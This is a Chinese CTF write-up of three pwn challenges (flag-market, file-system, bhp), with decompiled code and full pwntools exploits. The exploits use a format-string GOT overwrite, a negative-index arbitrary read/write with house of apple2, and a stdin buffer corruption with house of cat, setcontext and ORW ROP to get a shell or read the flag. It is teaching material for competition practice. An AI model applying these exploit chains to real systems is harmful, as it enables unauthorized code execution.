0x00 也是第一次参加这么重量级的比赛,回想起第一次参加正式比赛是学校的校赛,真是感慨良多
0x01 flag-market 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { int i; int fd; FILE *stream; char filename[9 ]; char s[16 ]; char s_1[72 ]; unsigned __int64 v10; v10 = __readfsqword(0x28u ); sub_401336(a1, a2, a3); strcpy (filename, "/flag" ); stream = fopen(filename, "r" ); dword_40430C = 1 ; while ( 1 ) { while ( 1 ) { puts ("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit" ); memset (s, 0 , sizeof (s)); read(0 , s, 0x10u LL); if ( (unsigned __int8)atoi(s) != 1 ) exit (0 ); puts ("how much you want to pay?" ); memset (s, 0 , sizeof (s)); read(0 , s, 0x10u LL); if ( (unsigned __int8)atoi(s) == 0xFF ) break ; printf ("You are so parsimonious!!!" ); if ( dword_40430C ) { fclose(stream); dword_40430C = 0 ; } } puts (aThankYouForPay); if ( !dword_40430C || !fgets(s_1, 64 , stream) ) break ; for ( i = 0 ; ; ++i ) { if ( i > 64 ) { puts ("\nThank you for your patronage!" ); return 0LL ; } if ( s_1[i] == 123 ) break ; putchar (s_1[i]); sleep(1u ); } memset (s_1, 0 , 0x40u LL); puts (a1m31mError0mSo); puts ("opened user.log, please report:" ); memset ( oflag, 0 , 0x100u LL); __isoc99_scanf("%s" , oflag); getchar(); fd = open("user.log" , (int )oflag); write( fd, oflag, 0x100u LL); puts (aOkNowYouCanExi); } puts ("something is wrong" ); return 0LL ; }
审计一下,发现scanf读%s
1 2 __isoc99_scanf("%s" , oflag); getchar();
这里oflag位于.data段,往下查看可以看到
1 2 3 4 5 .data:00000000004040C0 oflag db 'everything is ok~',0 ... .data:00000000004041C0 ; char format[] .data:00000000004041C0 format db 'You are so parsimonious!!!',0 .data:00000000004041C0 ; DATA XREF: main+112↑o
可以覆盖fmtstr
1 printf ("You are so parsimonious!!!" );
正是这里printf的参数,那么也就可以进行非栈上格式化字符串漏洞的利用
1 2 3 puts ("how much you want to pay?" );memset (s, 0 , sizeof (s));read(0 , s, 0x10u LL);
这里可以向栈上读入至多两个地址,栈上偏移的话调试一下便知 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6_2.39-0ubuntu8.5_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "47.95.4.104" port = 26699 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main b printf set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/libc6-dbg_2.39-0ubuntu8.5_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.5/amd64/glibc-source_2.39-0ubuntu8.5_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() main = 0x40139b io.recvuntil(b'exit\n' ) io.sendline(b'1' ) io.recvuntil(b'pay?\n' ) io.sendline(b'-1' ) io.recvuntil(b'report:\n' ) payload = b'\x00' *0x100 + b'%25$p' + '%{}c' .format (main - 0xe ).encode() + b'%12$n' io.sendline(payload) io.recvuntil(b'exit\n' ) io.sendline(b'1' ) io.recvuntil(b'pay?\n' ) io.sendline(p64(elf.got['fclose' ])) io.recvuntil(b'0x' ) libc_base = int (io.recv(12 ), 16 ) - 0x2a1ca system = libc_base + libc.sym['system' ] log.success("libc_base --> " +hex (libc_base)) io.recvuntil(b'exit\n' ) io.sendline(b'1' ) io.recvuntil(b'pay?\n' ) io.sendline(b'-1' ) val1 = system & 0xffff val2 = ((system >> 16 ) & 0xffff ) - val1 + 0x10000 payload = b'\x00' *0x100 + '%{}c' .format (val1).encode() + b'%12$hn' payload += '%{}c' .format (val2).encode() + b'%13$hn' io.recvuntil(b'report:\n' ) io.sendline(payload) io.recvuntil(b'exit\n' ) io.sendline(b'1' ) io.recvuntil(b'pay?\n' ) io.send(p64(elf.got['atoi' ]) + p64(elf.got['atoi' ] + 2 )) io.recvuntil(b'exit\n' ) io.sendline(b'/bin/sh\x00' ) io.interactive()
0x02 file-system 题目(逆向后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { unsigned __int8 num; init(); put_welcome(); puts ("You should open a directory" ); open_a_dir(); while ( 1 ) { while ( 1 ) { menu(); num = get_num(); if ( num != 4 ) break ; show_file(); } if ( num > 4u ) break ; if ( num == 3 ) { edit_file(); } else { if ( num > 3u ) break ; if ( num == 1 ) { create_file(); } else { if ( num != 2 ) break ; open_file(); } } } clean_all(); return 0LL ; }
菜单
1 2 3 4 5 int menu () { puts ("1.create file\n2.open file\n3.edit file\n4.show file" ); return printf ("> " ); }
各个选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 unsigned __int64 create_file () { size_t v0; int i; int j; int i_1; int j_1; myfile *buf; char s[264 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); if ( dirp ) { if ( file_count >= 0 ) { buf = (myfile *)malloc (0xDAu LL); ++file_count; printf ("%s" , "input filename (max length = 0x30): " ); i_1 = read(0 , buf, 0x30u LL); for ( i = 0 ; i < i_1; ++i ) { if ( buf->filename[i] == 10 ) { buf->filename[i] = 0 ; break ; } } if ( (unsigned int )is_file_existed(dirp, buf->filename) ) { puts ("File is Existing" ); free (buf); } else { puts ("input content (max length 0xa0): " ); j_1 = read(0 , rwx_buf, 0xA0u LL); for ( j = 0 ; j < j_1; ++j ) { if ( *((_BYTE *)rwx_buf + j) == 10 ) { *((_BYTE *)rwx_buf + j) = 0 ; break ; } } memcpy (buf->input, rwx_buf, j); memset (s, 0 , 0x100u LL); strcpy (s, dest); s[strlen (s)] = 47 ; v0 = strlen (s); strcpy (&s[v0], buf->filename); buf->fileptr = fopen(s, "w+" ); if ( !buf->fileptr ) { puts ("opened the File error" ); exit (-1 ); } fputs (buf->input, buf->fileptr); (&file_list)[(unsigned __int8)file_count] = (myfile **)buf; puts ("Created File Success" ); } } else { puts ("create too many Files!" ); } } else { puts ("No Directory is Opening" ); } return v8 - __readfsqword(0x28u ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 unsigned __int64 open_file () { size_t v0; int i; int i_1; myfile *buf; char s[264 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); if ( dirp ) { if ( file_count >= 0 ) { buf = (myfile *)malloc (0xDAu LL); ++file_count; printf ("%s" , "input filename (max length = 0x30): " ); i_1 = read(0 , buf, 0x30u LL); for ( i = 0 ; i < i_1; ++i ) { if ( buf->filename[i] == 10 ) { buf->filename[i] = 0 ; break ; } } if ( (unsigned int )is_file_existed(dirp, buf->filename) ) { memset (s, 0 , 0x100u LL); strcpy (s, dest); s[strlen (s)] = 47 ; v0 = strlen (s); strcpy (&s[v0], buf->filename); buf->fileptr = fopen(s, "r+" ); if ( !buf->fileptr ) { puts ("opened the File error" ); exit (-1 ); } *(_WORD *)buf->padding = fread(buf->input, 1uLL , 0xA0u LL, buf->fileptr); (&file_list)[(unsigned __int8)file_count] = (myfile **)buf; puts ("open File Success" ); } else { puts ("File isn't Existing" ); free (buf); } } else { puts ("Open too many Files!" ); } } else { puts ("No Directory is Opening" ); } return v6 - __readfsqword(0x28u ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int edit_file () { signed __int8 num; int i; int i_1; myfile *v4; if ( !dirp ) return puts ("No Directory is Opening" ); if ( !chance_count ) return printf ("%s" , "no chance!" ); --chance_count; printf ("%s" , "input file idx: " ); num = get_num(); if ( (unsigned __int8)file_count < num ) return puts ("idx Too Large!" ); if ( !(&file_list)[num] ) return puts ("the file disappeared!" ); v4 = (myfile *)(&file_list)[num]; puts ("input content (max length 0xa0): " ); i_1 = read(0 , rwx_buf, 0xA0u LL); for ( i = 0 ; i < i_1; ++i ) { if ( *((_BYTE *)rwx_buf + i) == 10 ) { *((_BYTE *)rwx_buf + i) = 0 ; break ; } } memcpy (v4->input, rwx_buf, i); *(_WORD *)v4->padding = i; return puts ("edit File Success" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 int show_file () { signed __int8 num; myfile *v2; if ( !dirp ) return puts ("No Directory is Opening" ); if ( !chance_count ) return printf ("%s" , "no chance!" ); --chance_count; printf ("%s" , "input file idx: " ); num = get_num(); if ( (unsigned __int8)file_count < num ) return puts ("idx Too Large!" ); if ( !(&file_list)[num] ) return puts ("idx error!" ); v2 = (myfile *)(&file_list)[num]; printf ("%.30s:" , v2->filename); write(1 , v2->input, *(_WORD *)v2->padding & 0xFFF ); return puts ("\nshow File Success" ); }
逆向的结构体
1 2 3 4 5 6 7 00000000 struct myfile // sizeof =0xDA 00000000 {00000000 char filename[48 ];00000030 char input[160 ];000000 D0 char padding[2 ];000000 D2 FILE *fileptr;000000 DA };
在bss段维护了一个file_list,然而发现edit_file和show_file可以负溢出
1 2 3 4 5 6 num = get_num(); if ( (unsigned __int8)file_count < num ) return puts ("idx Too Large!" ); if ( !(&file_list)[num] ) return puts ("the file disappeared!" ); v4 = (myfile *)(&file_list)[num];
可以向上读写到stdout和stdin,写的范围是偏移0x30 - 0xd0,也就是_IO_write_end 到 vtable之前(写不到vtable)
1 2 3 .data:0000000000005008 ; void *off_5008 .data:0000000000005008 off_5008 dq offset off_5008 ; DATA XREF: sub_1420+1B↑r .data:0000000000005008 ; .data:off_5008↓o
这里有一个自指的指针,自指意味着我们可以依靠它直接leak出elf_base来向其附近写入其他地址,可以实现任意地址读写 然而,edit_file和show_file收到chance的限制,初始仅有2 次机会
1 2 .data:0000000000005010 chance_count dd 2 ; DATA XREF: edit_file:loc_1ED0↑r .data:0000000000005010 ; edit_file+36↑r ...
我们可以打stdout的_IO_buf_base和_IO_buf_end来将这个chance改大 后续则是利用任意地址读写,将stdin或者stdout指针的地址写到file_list前再读,leak出libc_base,再通过create_file开文件,创建_IO_FILE_plus,增加file_list的成员,再将其地址写到file_list前面,再读,也就能读出一个堆地址,也就leak出了heap_base
1 2 3 4 5 if ( (&file_list)[i] ){ fclose(*(FILE **)((char *)(&file_list)[i] + 210 )); (&file_list)[i] = 0LL ; }
这里会调用的fclose来关闭_IO_FILE,可以打house of apple2 其调用的是vtable中的close项,所以虚表偏移要据此修改一下,同时因为我们选择打我们开的文件(是共享的)的_IO_FILE,其操作前后会上锁去锁,而相关函数会访问_lock成员,所以我们要恢复_lock的正常值 最后exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6_2.41-6ubuntu1_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x220d) b fclose set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.41-6ubuntu1/amd64/libc6-dbg_2.41-6ubuntu1_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/glibc-source_2.41-6ubuntu1_all/usr/src/glibc/glibc-2.41 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() io.send(b'\n' ) def create_file (filename, data ): io.recvuntil(b'> ' ) io.sendline(b'1' ) io.recvuntil(b'input filename (max length = 0x30): ' ) io.send(filename) io.recvuntil(b'input content (max length 0xa0): \n' ) io.send(data) def open_file (filename ): io.recvuntil(b'> ' ) io.sendline(b'2' ) io.recvuntil(b'input filename (max length = 0x30): ' ) io.send(filename) def edit_file (idx, data ): io.recvuntil(b'> ' ) io.sendline(b'3' ) io.recvuntil(b'input file idx: ' ) io.sendline(str (idx).encode()) io.recvuntil(b'input content (max length 0xa0): \n' ) io.send(data) def show_file (idx ): io.recvuntil(b'> ' ) io.sendline(b'4' ) io.recvuntil(b'input file idx: ' ) io.sendline(str (idx).encode()) show_file(-11 ) leak_addr = u64(io.recv(6 ).ljust(0x8 , b'\x00' )) elf_base = leak_addr - 0x5008 log.success("elf_base --> " +hex (elf_base)) edit_file(-8 , p64(0x7ffffffa000 ) + p64(elf_base+0x5010 ) + p64(elf_base+0x5030 )) create_file(b'victim' , b'a' *0x10 ) edit_file(-11 , p64(0 )*4 + p64(elf_base + 0x5030 )) show_file(-1 ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 0x2118e0 log.success("libc_base --> " +hex (libc_base)) edit_file(-11 , p64(0 )*4 + p64(elf_base + 0x5068 )) show_file(-1 ) heap_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) - 0x84c0 log.success("heap_base --> " +hex (heap_base)) fake_io_addr = heap_base + 0x85b0 system = libc_base + libc.sym['system' ] lock = libc_base + 0x2137b0 io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps' ] fake_io = b' sh\x00' fake_io = fake_io.ljust(0x28 , b'\x00' ) + p64(system) fake_io = fake_io.ljust(0x88 , b'\x00' ) + p64(lock) fake_io = fake_io.ljust(0xa0 , b'\x00' ) + p64(fake_io_addr + 0xd0 - 0xe0 ) fake_io = fake_io.ljust(0xd0 , b'\x00' ) + p64(fake_io_addr + 0x28 - 0x68 ) fake_io = fake_io.ljust(0xd8 , b'\x00' ) + p64(io_wfile_jumps - 0x70 ) edit_file(-11 , p64(0 )*4 + p64(fake_io_addr - 0x30 )) edit_file(-1 , fake_io[0 :0x90 ]) edit_file(-11 , p64(0 )*4 + p64(fake_io_addr + 0x90 - 0x30 )) edit_file(-1 , fake_io[0x90 :]) edit_file(-11 , p64(0 )*4 + p64(elf_base + 0x5060 - 0x30 )) edit_file(-1 , p64(heap_base + 0x84c0 )) io.recvuntil(b'> ' ) io.sendline(b'6' ) io.interactive()
怎么感觉是非预期呢()
1 2 3 4 5 6 7 8 9 10 11 12 13 FILE *init () { FILE *flag_stream; setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); dirp = 0LL ; file_count = 0 ; rwx_buf = mmap((void *)0x20250000 , 0x200u LL, 7 , 34 , 0 , 0LL ); flag_stream = fopen("./flag" , "rb" ); flag_stream = flag_stream; return flag_stream; }
初始化时候映射了一块rwx的内存,以及打开了flag文件,都没有利用到()
0x03 bhp 题目(逆向后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { char s[40 ]; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(a1, a2, a3); sandbox_init(); leak(); while ( 2 ) { while ( 1 ) { puts ("" ); puts ("1) Create note" ); puts ("2) Edit note" ); puts ("3) View note" ); puts ("4) Delete note" ); puts ("6) Exit" ); __printf_chk(2LL , "Choice: " ); if ( fgets(s, 32 , stdin ) ) break ; LABEL_9: puts ("bad choice" ); } switch ( (unsigned int )__isoc23_strtol(s, 0LL , 10LL ) ) { case 1u : add(); continue ; case 2u : edit(); continue ; case 3u : __printf_chk(2LL , "Index: " ); fake_show(); continue ; case 4u : delete(); continue ; case 6u : puts ("bye" ); return 0LL ; default : goto LABEL_9; } } }
菜单,有沙箱,各个选项
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int add () { __int64 v0; size_t size_1; void *ptr; size_t size; unsigned __int64 v5; v5 = __readfsqword(0x28u ); if ( ptr || dword_4040 ) { LODWORD(v0) = puts ("No free slots." ); } else { __printf_chk(2LL , "Size: " ); __isoc23_scanf("%zu" , &size); getc(stdin ); size_1 = size; ptr = malloc (size); ::size = size_1; ptr = ptr; __printf_chk(2LL , "Content: " ); read(0 , ptr, size); *((char *)ptr + size - 1 ) = 0 ; __printf_chk(2LL , "Created note %d\n" , 0 ); dword_4040 = 1 ; return v5 - __readfsqword(0x28u ); } return v0; }
发现在malloc超大size失败后,可以任意地址写一字节0 其他选项都没啥用,不放了,看最初调用的
1 2 3 4 5 6 7 8 9 10 11 12 unsigned __int64 leak () { char buf[88 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); puts ("=== Tiny Service ===" ); __printf_chk(2LL , "Please input your token: " ); read(0 , buf, 0x50u LL); __printf_chk(2LL , "Your token is %s.\n" , buf); return v2 - __readfsqword(0x28u ); }
这里栈上buf有残留地址,调试一下便知,可以leak出libc_base;结合这个可以往_IO_2_1_stdin的_IO_buf_base低字节写0 ,那么下一次输入便可以写入_IO_2_1_stdin本身(从_IO_buf_base开始写入,可以覆盖到),再次改写_IO_buf_base和_IO_buf_end,便可以实现任意地址写 再考虑到沙箱,这个任意地址写打stdout,来打house of cat + setcontext来进行ROP即可(见这里 和这里 ) exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "127.0.0.1" port = 1337 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b *$rebase(0x1810) set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() io.recvuntil(b'token: ' ) io.send(b'a' *0x28 ) io.recvuntil(b'a' *0x28 ) leak_addr = u64(io.recv(6 ).ljust(8 , b'\x00' )) libc_base = leak_addr - 0xaddae log.info("libc_base --> " +hex (libc_base)) target = libc_base + libc.sym['_IO_2_1_stdin_' ] + 7 *8 + 1 io.sendlineafter(b'Choice:' , b'1' ) io.sendlineafter(b'Size:' , str (target).encode()) io.sendlineafter(b'Content:' , b'' ) stdout = libc_base + libc.sym['_IO_2_1_stdout_' ] io.sendafter(b"Choice:" , b'a' *0x18 + p64(stdout)+ p64(stdout + 0x1000 )) pop_rdi_ret = libc_base + 0x10f78b ret = pop_rdi_ret + 1 fake_IO_addr = stdout fake_IO = b'./flag' fake_IO = fake_IO.ljust(0x30 + 0x20 , b'\x00' ) + p64(fake_IO_addr + 0x10 ) fake_IO = fake_IO.ljust(0x40 + 0x18 , b'\x00' ) + p64(libc_base + libc.sym['setcontext' ] + 61 ) fake_IO = fake_IO.ljust(0x68 , b'\x00' ) + p64(0 ) fake_IO = fake_IO.ljust(0x88 , b'\x00' ) + p64(libc_base + 0x205710 ) fake_IO = fake_IO.ljust(0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x30 ) fake_IO = fake_IO.ljust(0x10 + 0xa0 , b'\x00' ) + p64(fake_IO_addr + 0x118 ) + p64(ret) fake_IO = fake_IO.ljust(0xc0 , b'\x00' ) + p32(0xffffffff ) fake_IO = fake_IO.ljust(0xd8 , b'\x00' ) + p64(libc_base + libc.sym["_IO_wfile_jumps" ] + 0x10 ) fake_IO = fake_IO.ljust(0x30 + 0xe0 , b'\x00' ) + p64(fake_IO_addr + 0x40 ) open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] pop_rsi_ret = libc_base + 0x110a7d pop_rdx_ret = libc_base + 0xab8a1 pop_rcx_ret = libc_base + 0xa877e set_rdx = p64(pop_rcx_ret) + p64(stdout + 0x2100 ) + p64(pop_rdx_ret) + p64(0x100 ) ropchain = p64(pop_rdi_ret) + p64(fake_IO_addr) + p64(open_addr) +\ p64(pop_rdi_ret) + p64(3 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + set_rdx + p64(read_addr) +\ p64(pop_rdi_ret) + p64(2 ) + p64(pop_rsi_ret) + p64(stdout + 0x2000 ) + p64(write_addr) io.sendafter(b'Choice:' , fake_IO + ropchain) io.interactive()
打house of apple应该也行,因为选项6可以触发exit
todo